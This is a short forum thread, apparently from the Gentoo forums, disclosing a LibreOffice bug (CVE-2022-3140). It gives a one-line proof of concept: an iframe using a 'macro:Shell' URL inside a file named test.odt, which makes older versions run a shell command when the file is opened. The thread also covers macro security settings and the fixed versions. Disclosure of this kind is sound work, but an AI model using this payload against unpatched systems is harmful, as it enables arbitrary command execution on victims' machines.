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Strange security bug in LibreOffice
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mike155
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PostPosted: Thu Oct 20, 2022 3:26 pm    Post subject: Strange security bug in LibreOffice Reply with quote

Create a plain text file 'test.odt' with the contents below:
Code:
<iframe src='macro:Shell("whatever")'></iframe>

and run
Code:
lowriter test.odt

It's hard to believe - but Libreoffice executes "whatever". :evil:

The bug seems to be fixed in LibreOffice 7.3.6 und 7.4.1.

See: https://www.heise.de/news/Jetzt-updaten-LibreOffice-beseitigt-kritische-Makroluecke-7315313.html
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sabayonino
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PostPosted: Thu Oct 20, 2022 4:51 pm    Post subject: Reply with quote

Your security level for executing Macros is set to lower

Quote:
This document contains macros.

Macros may contain viruses. Execution of macros is disabled due to the current macro security setting in Tools - Options - LibreOffice - Security.

Therefore, some functionality may not be available.

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mike155
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PostPosted: Thu Oct 20, 2022 5:12 pm    Post subject: Reply with quote

I tested with LibreOffice 7.0.4.2 / Debian and default settings. Macro Security level is "high". The bug is there.
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fedeliallalinea
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PostPosted: Thu Oct 20, 2022 5:24 pm    Post subject: Reply with quote

Moved from Gentoo Chat to Other Things Open Source.
Moved from Things Open Source to Other Networking & Security.
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sabayonino
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PostPosted: Thu Oct 20, 2022 6:37 pm    Post subject: Reply with quote

CVE-2022-3140
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